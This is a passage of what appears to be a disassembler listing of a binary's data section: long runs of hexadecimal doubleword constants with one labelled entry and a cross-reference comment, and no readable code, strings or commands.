0D16500D5h, 0DF2914CEh dd 0A438ED06h, 1D7E8FBAh, 8C50A58h, 26ECE502h, 4C85086h dd 0EE9C4CD9h, 70C448h, 72EA6AE4h, 855C2569h, 0F5C82688h dd 16282000h, 3EB55D75h, 0E000DA80h, 0CEDD4EF3h, 1485A96h dd 9C044B40h, 18F4A718h, 6014596Fh, 2903E80Bh, 772CC20h dd 9B0252F9h, 0DAE00680h, 148070DDh, 0C820B2F0h, 0BB818588h dd 85AE5DBh, 8BE44085h, 0F0B442EFh, 94608847h, 0DA007685h dd 840DAC34h, 606E5182h, 0D80B417Ah, 48011721h, 5E6C1EC8h dd 0C0414EEEh, 96D89538h, 0D64B00B5h, 0A5FD07C6h, 1500B8C5h dd 0A0885E56h, 3C44646Dh, 662E33D9h, 35108754h, 0B73FB00Eh dd 3D047196h, 0FDD76EB5h, 24C740B0h, 3EF492F9h, 332B678Bh dd 0AFC82803h, 0E19EAA80h, 88024B0h, 8900ABD2h, 14A8A7BEh dd 1F19A124h, 5BAE74h, 6425B0F2h, 934A0F66h, 2DC1A834h dd 7BC940AAh, 1DDCCAF0h, 0BA11DF86h, 0E05F007Ch, 199838CDh dd 6702AE85h, 0A0826556h, 9648446Ah, 0A63A00F8h, 0DCE2C334h dd 8B3BEF16h, 9C69B04Dh, 3688E041h, 0E0F04E04h, 8C96C88Eh dd 2C30F00Ch, 0D0463811h, 5B7A2C5Eh, 0EFC9604h, 76DD9Fh dd 0D2EEE864h, 857137C4h, 0B5D0FE17h, 5CC52C0Fh, 250930E4h dd 8600868h, 5E04DE24h, 78C1AEB1h, 7430298Ah, 4EA6018Dh dd 15E5FAD6h, 0AF0C20E7h, 8038533Dh, 0E00F8247h, 92F64C6Eh dd 0E40600F4h, 0E5D78BF5h, 30C53B25h, 10C4450Eh, 0B20289Ch dd 66B65E61h, 2685102Eh, 0F0BC5B82h, 0C40BD688h, 7BAFDA17h dd 0EC485402h, 2BC7B86h, 8D6ECAD5h, 0B67CD8E8h, 0CBC03905h dd 84003E3Fh, 0EC25218Ah, 51D378AFh, 93FC0849h, 246099C2h dd 0F46E82C4h, 9640EBD3h, 0EE3BACD8h, 0E2048B1h, 444640CBh dd 8C4B4FEh, 2125A4F7h, 0C0795484h, 405E1BFCh, 7E88E14Ch dd 78E144Ch, 0DCD7B59Ah, 0ED9E9880h, 0C3E51364h, 32C4529Fh dd 4CC80674h, 36805F7Ch, 0CE4924E5h, 405C82E8h, 2C44579Dh dd 0C4E8DC48h, 20001F79h, 0E7EFD358h, 6211A062h, 0C1F062CDh dd 4600FC98h, 90E414EFh, 5E48A561h, 70870BCFh, 8E7C8529h dd 1110050Ch, 6524D8AEh, 450310B0h, 4DBBEDE5h, 257D8098h dd 2431AD7Dh, 380CE1E3h, 0C4049658h, 4A00BD46h, 0CE39A244h dd 3C5E9B13h, 0DD3D6C80h, 8890172h, 4C0F71D1h, 0FECC6032h dd 948E0500h, 0A26EC9D6h, 30C8C0F8h, 3C98C806h, 18E2AF3Eh dd 31185420h, 0EE6203EBh, 0DD8BF0A3h, 0DC827028h, 78853505h dd 6C05C406h, 1C8C3A44h, 4BE512EDh, 763441D4h, 205124B1h dd 3400DDC9h, 0E1B2659Fh, 0B85CBFEh, 1A01D26Fh, 8A499414h dd 0D1410064h, 7896F809h, 7CDE0740h, 9980F089h, 0AF92BCA1h dd 0B10AF4EBh, 0F38FEF18h, 257A0518h, 280AF9D0h, 0D8F1014Ch dd 28D55B6Eh, 0A0188E40h, 0E5C65E16h, 2BC1C0F9h, 8A1243A7h dd 5FF097F0h, 604AD1F1h, 0AE0937B0h, 0C0105EE6h, 78F4C82Ch dd 0BDA42898h, 0FF0707E8h, 19E10B43h, 1231F001h, 0E5BFF07Fh dd 88A038FAh, 0C729E32Ah, 884E87Ch, 94D012EAh, 13E8F865h dd 7E07E32h, 0BDA8B34h, 235E9CC0h, 0E70CE082h, 0C5EF1617h dd 4A28038Ch, 215E026Eh, 8CDF2433h, 34E3ECB4h, 807902FBh dd 1E463324h, 96E0A880h, 0E6B500F0h, 559DE7FEh, 629E8A4h dd 298CCCEFh, 3866C835h, 0FF000765h, 160CBED5h, 3A07595Dh dd 0A933F2E4h, 3ACD110h, 796A0056h, 83CA519Dh, 4603F1ECh dd 0DB6E12E3h, 0D2600F9Ch, 130638D5h, 0C5E9063h, 90737C20h dd 410D230h, 0DEF3808h, 41E0C005h, 0FABCA3A0h, 483DC2E5h dd 12D76004h, 8E3FC1Bh, 4D0BC0E0h, 2AA0443Fh, 0EE02D4Ah dd 0E5068EF3h, 8299A440h, 830B70E0h, 359E308h, 0CDAE1103h dd 2EE69881h, 0C282086Ch, 0C607B8DEh, 9B2AA391h, 54E8433h dd 0C8AA7D50h, 980FDBD0h, 846594A0h, 0BB147160h, 0E8FB4105h dd 0CDA80725h, 0B0C336EFh, 0B5EE303h, 0AF1767E7h, 0E0851223h dd 4909E5CFh, 4928AC15h, 0D4082648h, 0A89662A4h, 4CD8B601h dd 30AC8AE1h, 20B90F2Ch, 42EF6081h, 49309F2Fh dword_4E414C dd 17827B01h, 48EABE6Eh, 0AB11E630h, 73C328h, 0BD1FD618h ; DATA XREF: ___:off_43A188o dd 8568CEA0h, 0AF075474h, 0F083B341h, 5F4C41C9h, 0F440420h dd 7D0B449h, 199977A0h, 0EF276E71h, 0E550E860h, 65981F04h dd 80C3164Bh, 6640DFE0h, 86D88416h, 6E0CC48Ah, 0A62831E0h dd 1060CF5Ch, 0E309054Bh, 6C2B7BD1h, 80DBEC05h, 0DD75BBB4h dd 34E8EB00h, 0AD141AABh, 83D30308h, 0D8055AE0h, 73B1188h dd 0AE423Dh, 0FF08887Ch, 48A1DE23h, 75246Eh, 9885A38Dh dd 585EE436h, 0E48A8BAh, 0A24C7040h, 8D47B2Ch, 8DC51650h dd 12DD9CC2h, 49A33240h, 58A4E89Ch, 11201F0Bh, 34605108h dd 0B2C140C5h, 85C86E12h, 9BE5BC40h, 35F2ADFh, 907B6F9Dh dd 1800A7A2h, 7E4CB485h, 305E60E3h, 12502135h, 0D30FA714h dd 0C0E8507Fh, 984F0945h, 0B02A4D02h, 0C457A0C0h, 0DAFEA681h dd 0E493500h, 164B3B5Dh, 928D0045h, 0DF0728B5h, 5A0FDD1Fh dd 0A58AE21h, 140B08E7h, 3A4CCC9Fh, 23DBBF9Eh, 44C08690h dd 0AA1EE639h, 0D707E396h, 0D73FEF4Ch, 319AE840h, 443B40h dd 5A2F3BBh, 0EFC4E649h, 0A8CEFC33h, 0C80BD8AFh, 546E1358h dd 0D954CC53h, 0EC4C320Eh, 5B9DA5FEh, 0E1084404h, 3F0330C1h dd 83D43089h, 0E82FF0D2h, 808B4Ah, 0E73D2A18h, 0DBEF31C3h dd 306AD071h, 16752050h, 0B03A013Dh, 0A1415282h, 0AE5F010Dh dd 0B2E53B63h, 795421B9h, 4EE04C84h, 0C0108855h, 6D8ACFB0h dd 0A070BA05h, 91E78Ch, 0DE1F13F2h, 0C659E106h, 20862E09h dd 98C0EC5Ch, 101154B8h, 735E106Ch, 0F0080747h, 407195B3h dd 0F0715896h, 0B6868A92h, 24F03BF4h, 96803030h, 84253F44h dd 0B6AF17D4h, 273CCAD7h, 0DFCC10DEh, 695C305Eh, 6E230918h dd 136C9325h, 413BC1B0h, 0CDBB1085h, 0E850B074h, 5C00D54Ah dd 9E430ECh, 0C0DA4AA8h, 17F6E3E0h, 0F56399C4h, 91425000h dd 0DE1CE60Fh, 6FC0C671h, 573B938Fh, 0E8881E63h, 6C11EF89h dd 79149D3Ch, 44E26E04h, 49398ACh, 5449E074h, 1BDA0014h dd 42BBFFBEh, 956E044Fh, 0B180EBD8h, 0F07C0818h, 8C08D400h dd 0D0592D87h, 0B4F44CB6h, 0E7730078h, 63E4D203h, 3E54705Eh dd 1703DAD0h, 0F5E5BE60h, 0F1A02DF9h, 8483600Eh, 0A0C4C615h dd 644983FCh, 0DC48263Ch, 0A792A86Fh, 60AE2C38h, 3203490h dd 0C7C620FFh, 3D916E13h, 5C21C857h, 0D0732108h, 0D008C055h dd 0CC224059h, 96D30700h, 0EBBFF033h, 85D11CFEh, 0F761495Eh dd 0DB0F5C80h, 9549FF6Eh, 18E525D0h, 91ED0694h, 0BA9E094Ch dd 0A8946078h, 57AB9C34h, 0EC64021Ch, 500986E0h, 0FE082924h dd 0EC18A5E0h, 0B66B025Eh, 0D7D8C058h, 1E3033EFh, 40058851h dd 34436D89h, 64239C89h, 60385C2Fh, 0B002C706h, 3D03DCFFh dd 0ECDC634Fh, 8C220208h, 40661605h, 60825C6Ah, 97B52014h dd 0DF240648h, 2011C4DDh, 0A0607325h, 905C414Fh, 3850FE5h dd 0B88AAACEh, 0DD82984Ah, 8E943A5Eh, 1E581A8h, 502D8621h dd 92F9FA82h, 5E18C47Ah, 8830B905h, 2F6E1BCCh, 8CF7E86Dh dd 0EA25B031h, 0C44062D9h, 0AC8F958Ch, 6B8FF9A0h, 0A7744F1Eh dd 8088C091h, 0E3E100B6h, 0DBCF0919h, 0C0AAEF2Dh, 0B9932A40h dd 10E30558h, 990A213h, 50266B5Eh, 44D49440h, 0C0F14E95h dd 0E9682D64h, 0BD77897h, 1874B5B6h, 17E8D801h, 31742161h dd 5882245h, 0B893E0FAh, 9FC6D006h, 9B9712A0h, 19103187h dd 3E388777h, 0FB7173D7h, 0E3DC1832h, 0DC9809ABh, 0A4E89EDEh dd 3CB39D3Ch, 8D556685h, 0D1922843h, 8DC0CDDCh, 74F1B906h dd 0A0810189h, 1B37BB73h, 7BC305Fh, 0E7AC5900h, 499FED39h dd 0BA6E184Ah, 0CF8658A6h, 0AE7CEFF8h, 0C4CA754Ah, 9283A213h dd 0FB021238h, 743B0224h, 7F88B85Ch, 51810062h, 0B8AAF29h dd 6EC2E104h, 28A8DB3Dh, 8C134A71h, 0F8B84E54h, 6998B012h dd 0E53EF001h, 0E840D366h, 1C35D6DFh, 438763ABh, 2933E72Fh dd 0AFE6DEA0h, 1EA868E7h, 0B6C45D94h, 4CD3CAE5h, 35C3E5DAh dd 0ABFFEFD1h, 7964220Eh, 0C800921h, 0FFCEFB07h, 165B4202h dd 0C0022364h, 535040CCh, 0B604B83Dh, 0EB716EB8h, 78472412h dd 80AEDCECh, 4B7714F2h, 856C0C56h, 309070D0h, 29798EB8h dd 0C7D48307h, 0C9C091FFh, 1A8949Eh, 0C48BA092h, 0F0C01264h dd 0FA9033D9h, 7B07A57Ch, 0B5B15719h, 97651CB0h, 0E54A121Ah dd 3A848044h, 84057F8Fh, 58175EEBh, 0DB3FA45Ch, 40485C25h dd 0C0DB170Ch, 8D5EE6B0h, 0CC974E25h, 0B30B674h, 9CC270E8h dd 0F08594D9h, 0CC900B37h, 96C30671h, 7C3B428Ch, 0B43FF485h dd 0C5050604h, 40BD89B0h, 0A0ED6CB0h, 5FE8B608h, 7CD0B174h dd 7408D390h, 0BD440005h, 6A09E35h, 9CBCC100h, 739D705Bh dd 0A0CEF867h, 97B7BFEBh, 80302404h, 0AD41F0E8h, 15BC90C0h dd 901C3861h, 10EF1709h, 0FFC27B7h, 86D96CA0h, 6F509DEEh dd 8924D208h, 52096429h, 14C611h, 0BEC63FFFh, 0CBD7CED5h dd 0AA0536E8h, 0EBF66838h, 0C00BB080h, 209037ECh, 3C68EA50h dd 0B3745538h, 0E53782B4h, 8C65D3F3h, 38B20813h, 49CC005Ah dd 0E54238ECh, 4C85214Fh, 468E2C06h, 0E0840008h, 0FB088870h dd 0D312CC83h, 0AD009614h, 98AF8B2Fh, 0B8B32519h, 0A15A2840h dd 0E114EC92h, 81C0E549h, 84CCEFCDh, 9DDDE0h, 4068B777h dd 39715EC0h, 0CE8088B9h, 556E4235h, 0BE1E7C64h, 0C30695Ch dd 40930FD5h, 0BFEFF086h, 618CA1D8h, 2D59EEF0h, 7000C25Eh dd 6569E507h, 0AE41BB1Ch, 5C0C3F9Eh, 280F0E2h, 0DE897AFCh dd 34588396h, 38E7CC30h, 4EB30A0Fh, 5880BD30h, 48E040E8h dd 1E347640h, 0EECD90A9h, 392F3EC4h, 2CB4C488h, 49700F24h dd 0F9075A01h, 0EC11AE6Dh, 3A38DC50h, 39027998h, 0D806CD4Bh dd 0CC7370C1h, 840ECE8h, 427A0B44h, 1CE0F0D9h, 0EF1A7596h dd 53F8D01Fh, 6DA0807Ch, 0B3A58441h, 7EF0600h, 0E88335D2h dd 0E40BBD90h, 87C3CC6h, 0A0B3D091h, 0A6C39430h, 7EF01001h dd 4B31120Fh, 1A387C8Ch, 0A0ED24E5h, 16E29856h, 1A061046h dd 332C3CB8h, 0D0079A9h, 886A563Bh, 7C790E9Eh, 5E8293B5h dd 846592Eh, 1C6416F0h, 9C27D3A1h, 0BB482A80h, 4F292040h dd 0E868439Ah, 28488A9Fh, 0F70F790Ah, 2BDBB692h, 0A2886CBAh dd 7EC108Ch, 904C7ED1h, 5DC604B2h, 816C1D3Bh, 3E8E825Ch dd 9F31BC21h, 2420DC44h, 0B43BCEEFh, 38E3461Ch, 0A0567A5Ah dd 10C5F062h, 0F64982E8h, 24884840h, 6C2E04Ch, 2A70592Ah dd 0C3EF13F0h, 11CCE26Fh, 0E78AD2E3h, 157829D4h, 1C4C0CD4h dd 13BF8300h, 32E24B67h, 0F62CCF03h, 0F7C1D5BBh, 17507049h dd 0E59537D8h, 5973F0A0h, 0C494BA9Fh, 90FC8Ch, 0E674CE39h dd 6D21EF17h, 0B64CF090h, 0EF984B4h, 8930790Ch, 0E1A86D14h dd 0FE916B8h, 0E898E85Dh, 39729B0h, 1417A490h, 0DE28D4ECh dd 4C009860h, 4E532107h, 0E29BF03Fh, 0BE7C07C3h, 938577DDh dd 0B00BE536h, 0A0546EB5h, 40EFD418h, 809CB60Fh, 0C9117168h dd 58BC475Eh, 294EA73Fh, 9F3CFA2Ch, 25EC0088h, 3E86E499h dd 0D2558422h, 0E51C2094h, 28141F50h, 2ECE4F2Dh, 187A8C9Ch dd 78DE003Fh, 8ADB0785h, 9E58C571h, 0E90E00B6h, 0ECB379E4h dd 0D50B4C4Ah, 0D2621600h, 0DCB24150h, 4917D47Fh, 0D8F0FC06h dd 0ED88800Fh, 309E6E10h, 0E5D1FE07h, 0F4A00998h, 0E7335562h dd 2F31AE09h, 399004ABh, 60841217h, 0FB0E8A8h, 254494B5h dd 50E561EEh, 76853701h dd 0D851365Eh, 0CC4CD05h, 4D9D00B7h, 8EDAAA21h, 0C8001EDBh dd 0EE83C5A1h, 14EFD567h, 0A48C01EAh, 27786C4Ch, 90786E3Dh dd 5AFB225h, 0D0E9E388h, 253D3C16h, 0C05A1370h, 8EFDC98h dd 62A1DD64h, 0FFABE861h, 4009C85Fh, 88504049h, 0B906287Bh dd 39432E14h, 0CA86401Ch, 28D7184Ch, 8CD558C3h, 0E8DA28E0h dd 2C1427E3h, 5720341Eh, 0F0EC6063h, 8929A1BCh, 0F4CC1C00h dd 2AA3174h, 71B91C46h, 6EB6C3FEh, 0C803352Fh, 65E53EDFh dd 96B01E25h, 0E2FC2E4Ah, 0CCC8B8B4h, 166744E8h, 0DC0ADA28h dd 0C270A027h, 59E533AFh, 102AF0F9h, 80C7E8E8h, 3C09B23Ah dd 0DEBB07F4h, 8A82128h, 0E91D4689h, 0DEE489h, 0D6B302C4h dd 5ED7217h, 5486EC76h, 19A90ACEh, 565A019Ch, 0DCA08568h dd 4FE4E033h, 18B19E2Dh, 92945E44h, 34074E88h, 0CCFCB8h dd 0DEA979E8h, 78C7Ch, 0E10B22FFh, 65081DCh, 8B49DF17h dd 5397B400h, 9FA6E529h, 7C10F009h, 3640796Eh, 481980Bh dd 7CEF63C7h, 0C041FBF1h, 0C9866E43h, 5A4F0824h, 887CDCA3h dd 9EDAE601h, 0A12866B6h, 0FFE0272Ah, 4803AA80h, 9464756Eh dd 7887CE30h, 71C70672h, 0C9551084h, 4088928Ah, 2C716030h dd 7B4D29Ah, 80D592F9h, 8C5E6E25h, 32405C60h, 3B43A41h dd 691A960h, 0DE0B10CBh, 0A0F8E8ACh, 5E3F4444h, 5CC348A8h dd 472B3600h, 0D05F2DD9h, 0EC8BEF12h, 65E8040h, 13BAB3D7h dd 251D08h, 0D8E7073Ch, 2101CAD1h, 2F34816h, 306CBA27h dd 473FB107h, 11B1C8AEh, 14412DE5h, 8434CAAFh, 116E14B7h dd 0D500B824h, 730B9520h, 612C253Eh, 0ED002CCDh, 960E0381h dd 0B0EF1671h, 329032F3h, 5E851C71h, 80137E6Eh, 4F73D42Ch dd 9CFC916Ch, 50F605E6h, 4800A025h, 2DEFDAE4h, 0DE18BE60h dd 1F8DB3D5h, 0BD9435Ah, 0E8C8C010h, 5013C109h, 0C8C07F6Eh dd 779DC586h, 7A3B0470h, 0A8E05E91h, 0CED60724h, 0AB80BAD7h dd 3787641Fh, 1AF0DFD3h, 698C0940h, 4C6EF401h, 0DFA082E4h dd 0D9519D3Bh, 0D2CB3F84h, 8CC84970h, 0F0019598h, 8B39642Bh dd 6F05004h, 0C8220CECh, 5B907E2Ah, 0A41A9302h, 0F281BD5Eh dd 38F70468h, 800DF364h, 8473E505h, 5B9668C4h, 59D1A4C3h dd 0F0167C98h, 0B848809Eh, 31145196h, 0C9BC589Dh, 0D1BC6977h dd 304BEC08h, 0A9E10437h, 1C601537h, 1225B8B7h, 0F467EFCCh dd 79575A0h, 0F5746E9Ch, 0B940888h, 25572206h, 34081451h dd 0FA2D0003h, 7BBA8B8h, 0A3D7E000h, 45167802h, 221B1F56h dd 46E800F9h, 6E2E0B99h, 38486D37h, 0C0E3ECF2h, 0FFD43Ch dd 2DBC514Eh, 79415E86h, 2E2BB0C2h, 0FB50E35Fh, 0FEC6B847h dd 0E64B0098h, 82E0931Fh, 0D0F1790Dh, 0AC980F0Eh, 0D1699E1Dh dd 0D8D2FBD3h, 8809F7E7h, 0FEC0F413h, 7E2FE5E6h, 88F8A4CFh dd 0F8D2354Bh, 84B04B4Ch, 1CB884C1h, 93F7AB80h, 180D0207h dd 8C3D571h, 91439043h, 76C46E64h, 1DFCBA8Eh, 47B989EBh dd 857A20AFh, 0B60800C3h, 1EF5D96h, 0C287BCA8h, 0C6C25494h dd 2D54E6C7h, 84A0E1E8h, 35BDEFCDh, 77E028C0h, 0A7AC83h dd 85C244C4h, 0A8EFD357h, 8184BA5Ch, 0A1617027h, 0AC758081h dd 61E36F60h, 0F950CCA8h, 3245D48h, 8E70C249h, 0F6D3E0B6h dd 7FEA00A2h, 0B0963944h, 0F2FBE0EFh, 71B40C1h, 38C882B9h dd 7BA000E7h, 44019302h, 9EE106CBh, 0F6F69AA2h, 34515224h dd 0E178B04Bh, 38515D5Eh, 1635D500h, 0B359523Eh, 0C4984498h dd 81DE2E05h, 0D8B0016Dh, 0A8F89934h, 80BD5EDCh, 0B7DFA340h dd 2DECF14Ch, 518C989Dh, 747F0BFAh, 48DAE96Eh, 85C08B0h dd 641441E4h, 74B0DA9Ch, 0DA60BBE5h, 3702940Eh, 0C83CFCD9h dd 0C9762A30h, 0C8985BC3h, 0E50E6F03h, 127AEFB7h, 0DB8DDD0h dd 2CB8F711h, 7CA0C0E8h, 126578BBh, 0B01A5EFCh, 0DD733BC8h dd 0E5358306h, 0C989452h, 0F2605EDBh, 421629C0h, 8D09714h dd 0FCEF4337h, 0CBB400A0h, 55E307D4h, 3F00E8BEh, 6F117C16h dd 1D109BD8h, 0A75EE0D6h, 55D890E3h, 84A48C03h, 0FE07F019h dd 206B14D8h, 79CB5E84h, 4AF41080h, 2994C815h, 0C7049816h dd 5F8C221Ch, 0F0DBE058h, 32B20281h, 0BB02E540h, 441B848h dd 0D3584872h, 0F21F10FCh, 3FDFE607h, 9809204Eh, 5E139E59h dd 4515031h, 60E193E0h, 0ECB4653Eh, 9C3E2A98h, 6066453Eh dd 0A2B7AEB9h, 0E0049C82h, 43856456h, 11396Bh, 66E5DDC4h dd 0EF10C281h, 90768CCCh, 0D55EE840h, 3DC9A8Fh, 0EF9585FCh dd 36E1E414h, 2A10254Bh, 0F0261C1Ch, 0B8ECF040h, 0E6783E3Ch dd 10814F25h, 7BDFDE88h, 4CDBBC09h, 4C00B5BCh, 6614DE3Eh dd 554D9D00h, 0DABA5368h, 0F0ED1F1Bh, 6ADD07D4h, 0AC6E6585h dd 6D1E0F10h, 1737C00Bh, 2B5B845h, 4F796557h, 0DEE03FE7h dd 0DD009A6Ah, 9B7F17D2h, 0B8D37B85h, 0B490B75h, 0F881A0C1h dd 7B72E883h, 1810B014h, 0E5D931BDh, 0E0C1545Dh, 0AF77B64h dd 136E24FFh, 5084495Ch, 71B709E7h, 41EA6A4h, 0FCA9D7B3h dd 41ED19C8h, 60663D18h, 69D2E30Bh, 0EF2098C6h, 8CA4BD57h dd 743B4331h, 24D1C580h, 9104E878h, 0B4606E24h, 0ECC8DE11h dd 3BA0C29Eh, 70D83AE5h, 673483Ah, 0EC0BDDEEh, 88327738h dd 0BB004BD3h, 699D540Ah, 0B78464Ch, 5E90E3BAh, 0F31628C6h dd 7000FA3Fh, 39AB57FBh, 6D00056h, 0BCD94BCDh, 0B227E57Dh dd 0B6F81118h, 0A9A4D47Ch, 54204AD8h, 658BE5D2h, 0AE8E10A6h dd 84947C04h, 9F5CC313h, 0AC104028h, 77049A90h, 6187CF0Bh dd 74105CA8h, 0A8CC4F13h, 3DE2385Eh, 3CEFC306h, 4486181Ch dd 410FEC98h, 0C3862A82h, 2744F85Eh, 0B4641CF0h, 0F9D26D13h dd 0EFD5E802h, 9D6C683Bh, 0F4F765Bh, 0BA86B40Ch, 2608730Ah dd 95813D08h, 6E413D97h, 38022AC1h, 43B6C59Eh, 32029714h dd 1421413Ah, 68909444h, 0BABBD16Fh, 0DC4525CCh, 0AC9F10B1h dd 6455849h, 0ED40D8D7h, 0C8BA8A2h, 0DFBFE560h, 6F0A4038h dd 0B0D74D99h, 0FF6E4B07h, 562B30FDh, 4F308A7Ch, 34B29034h dd 714EA720h, 0A61F9828h, 0D3520994h, 0AC91F66Eh, 4E501BAh dd 160810ACh, 0C1F4B1D4h, 84D038A2h, 0AE00CE58h, 24C9EF46h dd 256E4480h, 0D4C676A4h, 9D145E12h, 5EEF30B0h, 200829DDh dd 0C1D0AECCh, 56849BCh, 61E5D503h, 0E981B4ACh, 20F88322h dd 0C216E764h, 18006AE8h, 0CB13219Ah, 14D22687h, 986C2FA4h dd 0F03EA724h, 330B0290h, 0E0C6DA42h, 48519A24h, 59F89F09h dd 0AC002770h, 0CCE5C67Eh, 0E0509060h, 566D506h, 0EE89EDF5h dd 5EE40060h, 9D396BE6h, 63D06F00h, 1CD99816h, 64D81F53h dd 7670004Fh, 7C9E3543h, 4A10BC60h, 0BFED1EC2h, 2E8014AFh dd 8FEEE47Dh, 46E0D51Dh, 12921F40h, 0C17F7E78h, 53ED72B0h dd 84DC45AEh, 0CD0813DCh, 27A83810h, 84D404C6h, 7CDDD092h dd 4B19B134h, 14742F7Eh, 6ECE48ACh, 0E3BC80F6h, 94B721F6h dd 8CCE5814h, 4C09DF10h, 666010BCh, 6D122C7Fh, 0A2375818h dd 8D365B3Bh, 38F0ACE8h, 9DE70848h, 38923CB1h, 0C1209A68h dd 7F1F28h, 9B63DE4Ch, 0B5136412h, 0B0449F6Ch, 0CA00E6C8h dd 5288C9D5h, 0E5E10700h, 1624F27Eh, 4DA00062h, 0FB87F176h dd 8493D6DAh, 5CE4905h, 0A1370090h, 0D30B00A0h, 0C0621723h dd 6501819Eh, 0A32CF906h, 5860B5E2h, 73DE00BCh, 98F2C788h dd 9E00B279h, 0FAAED052h, 0C0D6596Dh, 0B320D590h, 0A412C7CCh dd 4CD36188h, 1720EE70h dd 0CD3457E3h, 0DDC80CB8h, 419BFA1Eh, 7469682h, 0C4088AE5h dd 6E12642h, 11671016h, 31B5B8D1h, 6E1040F2h, 50A00019h dd 8A81889Fh, 4ED40306h, 1D6C599Ch, 0E8E4F0D4h, 8FC3897h dd 0C0124AC5h, 4C1C49F0h, 703C885Eh, 914CA073h, 0E9E280CEh dd 0C9501B13h, 0C447EC0Bh, 0EFD313A0h, 0EE00A06Dh, 0CBD8592Eh dd 99C1CA03h, 0AFD0C020h, 8D900EAh, 6056EBE1h, 7300A08Eh dd 7994C7D2h, 3141CA2h, 35B08472h, 0FC8C106Eh, 0B8315B20h dd 88BED9F8h, 0D7EF7206h, 651270CCh, 0BCF29CA8h, 7000B059h dd 0C406A9FEh, 0F0956D2h, 0D250E545h, 936401A8h, 889ED026h dd 9C21EEh, 0A7B5F008h, 6E4F58C2h, 38FCA0C8h, 16EF74DCh dd 83739F12h, 0AF90E338h, 173BB765h, 5F268260h, 5052475Eh dd 0C4623A70h, 0AF05C240h, 0EA6DF410h, 944B3CFCh, 16940918h dd 3B845C11h, 2CF01828h, 12787921h, 9DCA8B5h, 1EEA417h dd 86F34562h, 0BC933068h, 6D5D8038h, 18AAF413h, 61FDA1F0h dd 52CD185h, 10440002h, 0BC26944h, 4D4881E2h, 0B820D68Ah dd 768B1744h, 0E8A0C031h, 0DD2A6DCAh, 0CF7FC8EBh, 69B0FBE8h dd 0CC185165h, 0B080CCB8h, 0EF17B311h, 0C0594931h, 50409CABh dd 46A5348h, 9BF08203h, 3F4D00DCh, 3D47FCh, 83C50663h dd 0A0AE8808h, 3BA85702h, 579EE4C4h, 2808F008h, 0E81480FCh dd 0C81C62F6h, 9CC68F18h, 0F7C59F8h, 0E2CC109Dh, 15F701FBh dd 0C0EF5D8Eh, 7B287474h, 3F949700h, 0DF07C8E1h, 0D857609Ch dd 0E5314E96h, 50742A4Dh, 38B8C243h, 2419709h, 0A3885D4h dd 0B893AC25h, 80049D12h, 62525AC9h, 0CD014DC8h, 0DCF0D107h dd 0C5F203A9h, 0E64C3B5Eh, 78A8ECE5h, 1880FC5Bh, 2E6ECEB0h dd 6A405584h, 0BD658444h, 5518F29Eh, 0D1A897FBh, 0E0B0500Fh dd 404EAC5Fh, 246300FFh, 1FED46EFh, 7005C88h, 0EA1AADD3h dd 0FC71C65Ah, 0A8CB6784h, 2E8F6096h, 61071601h, 0F74C29C8h dd 1A1A0A3h, 4679B520h, 0D55CDD06h, 0F50420BFh, 77E078CEh dd 0C0B0B412h, 982BBD30h, 0BC5E2C29h, 71853400h, 0C90A945Eh dd 0CC463BE0h, 9E4899B5h, 804C256Fh, 0AEE45AECh, 2DE5763Ch dd 82A04DE9h, 2F595EE1h, 2D00D859h, 0C48445FAh, 0DDCE32A7h dd 0B1575C20h, 4D71E848h, 0A7EF4085h, 0C660F865h, 7A1887Fh dd 11FD25EDh, 8450847Eh, 0E5080358h, 984A2BECh, 0B0E92084h dd 57016613h, 5C1C8EA4h, 4A7AB0D0h, 5ECE0070h, 7480D768h dd 50009D4Ch, 0C97594D8h, 0A425E1E3h, 71EC0770h, 0BC7BD6Ah dd 0F17F9884h, 0DAD8976Ch, 0E0DB2882h, 266E20F4h, 1E48E7F7h dd 0E1FC12D6h, 0C0663E9Ch, 0E60BCA0h, 3F496E49h, 38114D1h dd 0FC8BE5C5h, 19EC407Bh, 83C9226Eh, 0E020935Ah, 0D6E4695Eh dd 0DC7CF088h, 5BF30F25h, 2C221FF4h, 0CC016974h, 2AF35B6Eh dd 9FA03CDCh, 0E82E641Ch, 0EF8F9018h, 5428DD61h, 74223E4Bh dd 5CF8C2CFh, 0E95E8E18h, 2F8CC92h, 2C913A4Fh, 1C6C0A6Eh dd 0E5D40B03h, 69D15181h, 80C028B8h, 5E18A138h, 9C254BF9h dd 305AEC20h, 3A41F420h, 0E9F8EFh, 0E3BB7CE5h, 0AD1CD962h dd 98DCF616h, 0E4009C13h, 6890BD2Fh, 7270009Dh, 5ED1544Bh dd 38B47C1Ah, 18ECE092h, 63E3DB04h, 960E275h, 768732DAh dd 0DF010898h, 0F0A29E09h, 8C4499F0h, 0E3D83884h, 674BDA01h dd 177BF0A5h, 97E33C02h, 3CE011FAh, 4904567Dh, 86EFF09Ch dd 14F91084h, 10DDC10h, 383D81A0h, 0E1E10CBBh, 41AF1420h dd 82C14Bh, 5E34EFDFh, 0F0E020DEh, 10C094ABh, 0D85E5928h dd 29C8C93Ch, 0A84334CAh, 76AF8DD0h, 0B4D1A32Ch, 74E24500h dd 90538ECh, 31E95D06h, 0F881D4ECh, 0D1AD2042h, 0E1835113h dd 45540Fh, 15A803E8h, 8F673A1Eh, 0BC22E512h, 33E701D8h dd 52958C9Bh, 0A9C88E30h, 0CA2F4054h, 53EC40FCh, 8029153Ah dd 469CE7C7h, 161FD9h, 0D1174468h, 53DF0895h, 0E9054973h dd 0A015296h, 949054FDh, 89F727h, 0ABE76480h, 0E81398ECh dd 0A0E07615h, 64A803BAh, 0FD07BEC2h, 48D9ACA8h, 72761600h dd 0F08BF740h, 0CC7C50A9h, 0FCA70B97h, 0B0831B73h, 65F89D79h dd 960980EDh, 0FA777A5Eh, 0C0924C04h, 0B0236C4h, 8244C937h dd 0C4220AFh, 5E2FACEEh, 1DB48557h, 0D1810C5Fh, 0B893DEF9h dd 0C2C6F842h, 1D4C7CC0h, 0F48DD3F0h, 74FE51BCh, 7E9D100h dd 646F66D4h, 6E41B71Dh, 3650963Bh, 0DC0A9461h, 0D77E9040h dd 4E88004Ch, 0CDCAED07h, 6E1254FCh, 34127A11h, 79C9A4B3h dd 3990F600h, 0E004DCAh, 84983866h, 1858CCF8h, 4070E46Eh dd 95093722h, 0A6A5E1A1h, 9D18498Ch, 62EC12h, 0CCAC8C54h dd 20B9C089h, 96F97380h, 50BE58BAh, 0FFFB6102h, 18DBB68Ch dd 0A6130A10h, 0FF14415Ah, 7069AE8Eh, 70E58AEh, 0E0035DEFh dd 3154ADBAh, 0D47D2E25h, 0DF5E84D8h, 